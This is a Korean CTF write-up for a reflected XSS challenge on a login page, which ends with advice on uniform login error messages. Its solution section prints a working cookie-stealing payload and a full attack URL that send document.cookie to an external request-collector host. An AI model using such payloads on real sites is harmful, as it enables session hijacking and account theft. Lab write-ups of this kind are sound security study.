[SegFault] (XSS) - XSS 6

[SegFault] (XSS)

XSS 6

관리자의 Cookie를 탈취하세요!

문제 파악

본 문제의 경우 XSS의 취약점을 찾고, 관리자 Bot에 해당 링크를 입력하여 공격자 서버로 Cookie 값을 탈취하여 받으면 Flag를 획득할 수 있는 방식으로 이루어져 있다.

하지만 현재 공격자 서버를 갖고 있지 않으므로 RequestBin을 이용하기로 한다.

우선 위의 [관리자 방문 Bot Link]에 접속하면 다음과 같은 URL 입력창을 볼 수 있다.

XSS 취약점을 발견하고 해당 링크를 위의 URL에 입력하면 공격자 서버(RequestBin)로 쿠키 값이 날아오는 방식이다.

이제 아래의 문제 링크에 접속하면 다음과 같은 창이 나온다.

우선 회원가입 후 로그인을 시도해본다.

마이페이지와 공지사항을 확인해본 결과 XSS 취약점을 발견하지 못하였다.

로그인 부분으로 돌아가서 확인해보기로 한다.

 

XSS Point

로그인 창에 접속해준다.

로그인 창의 아이디에 등록되지 않은 정보가 입력되는 경우, 응답에 해당 입력 값이 그대로 반사되어 출력되는 것을 확인할 수 있었다.

위의 방식은 반사(Reflected)를 이용하는 것이다. 그러므로 해당 반사 값을 XSS 취약점으로서 이용하려면 GET Method여야 URL을 생성하여 Reflected XSS 취약점으로서 해당 링크를 클릭하도록 유도하여 XSS를 발생 시킬 수 있다.

하지만 로그인 과정의 메서드는 POST Method로 구성되어 있다.

해당 요청을 GET Method로 변환하여 요청하였을 때 동일한 응답 결과가 나오는지 확인해봐야 한다.

위와 같이 해당 요청을 Burp를 이용하여 GET Method로 변조하여 요청하였을 때 다음과 같이 동일한 결과가 나온 것을 확인할 수 있었다.

---

풀이 과정 (해결 방안)

로그인 창의 id 에 등록되지 않은 정보를 입력한 경우, 입력 값이 알림창에 그대로 출력되는 것을 확인할 수 있다.

해당 입력에 삽입할 페이로드(Payload)를 작성한다.

페이로드(Payload)

test ]'</script><script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://공격자 주소/?cookie="+cookieData;//

 

스크립트 전달(URL)

위의 페이로드(Payload)를 입력값에 넣어주고 메서드를 GET으로 변환해주면 다음과 같다.

test+]'</script><script>var+cookieData+=+document.cookie;var+i+=+new+Image();i.src+=+"https://eneqijtbrtwyr.x.pipedream.net/?cookie="%2bcookieData;//

위와 같이 스크립트가 포함된 입력값을 요청하는 경우, 스크립트가 실행되는 것을 확인할 수 있었다.

해당 요청에 대한 URL을 생성하면 다음과 같다.

http://ctf.segfaulthub.com:4343/xss_7/login.php?id=test+]'</script><script>var+cookieData+=+document.cookie;var+i+=+new+Image();i.src+=+"https://eneqijtbrtwyr.x.pipedream.net/?cookie="%2bcookieData;//&pw=1

위의 URL을 클릭하도록 유도하여 XSS가 발생하도록 하는 것이 가능하다.

따라서 해당 URL을 관리자 Bot에 보내준다.

탈취된 쿠키(Cookie)가 공격자 주소(RequestBin)으로 받아와 지는 것을 확인할 수 있다.

위와 같이 id 파라미터에 스크립트가 삽입된 입력값을 넣어주는 일련의 과정을 담은 URL로의 접속 유도를 통하여 쿠키 값을 탈취할 수 있다는 것을 확인할 수 있었다.

하지만 해당 문제의 경우 탈취한 쿠키에 flag값이 담겨 있는 것이 아니라, 삽입하는 스크립트를 '키로거'로서 작성하여 입력되는 id와 pw를 알아내서 flag를 찾는 방식이었다고 한다. 하지만 자동입력 구현이 아직 되지 않아 쿠키를 탈취하는 것 까지를 목표로 하였다.

 

주의할 점

본 문제를 푸는 과정에서 POC로서 alert(1)을 이용하여 '1'을 출력하기 위해 다음과 같이 입력해보았다.

위와 같이 [ 를 출력하지 않기 위해서 alert(1)을 따로이 한번 더 출력해준 것인데, 위와 같이 입력한 경우 브라우저 상에서 스크립트가 잘 삽입되어 알림창이 2회 나오는 것을 확인할 수 있었다.

하지만 위와 같이 alert() 문이 너무 많이 들어 가는 경우에는 관리자 Bot이 알아차리는 상황이 벌어진다는 것을 알 수 있었다.

---

취약점에 관한 고찰

본 문제의 경우 로그인 창에서 등록되지 않은 아이디를 입력하는 경우 입력된 아이디 값이 그대로 응답에 반사되어 노출되는 것을 이용한 Reflected XSS 취약점이다.
이와 같은 경우 공격자가 어떤 id 가 회원가입되어 있는지 여부와, 아이디와 비밀번호 중 어떤 값을 잘못 입력하였는지 여부를 알 수 있게된다. 이런 경우 Brute Force 공격을 이용하여 계정이 탈취될 가능성이 높아진다.

이러한 위험을 방지하기 위하여 아이디와 비밀번호 중 어떤 것이 틀렸는지 모르도록 하고, 해당 아이디의 가입여부를 확인할 수 없도록 하기 위해, 이와 같은 정보가 노출되지 않도록 틀린 입력값 마다 다른 알림창을 띄우는 것이 아닌 뭉뚱그려서 '입력정보가 올바르지 않습니다.' 와 같은 통일된 문구를 사용하는 것을 권장한다.

---

질문 환영, 수정 및 보완에 대한 지적 환영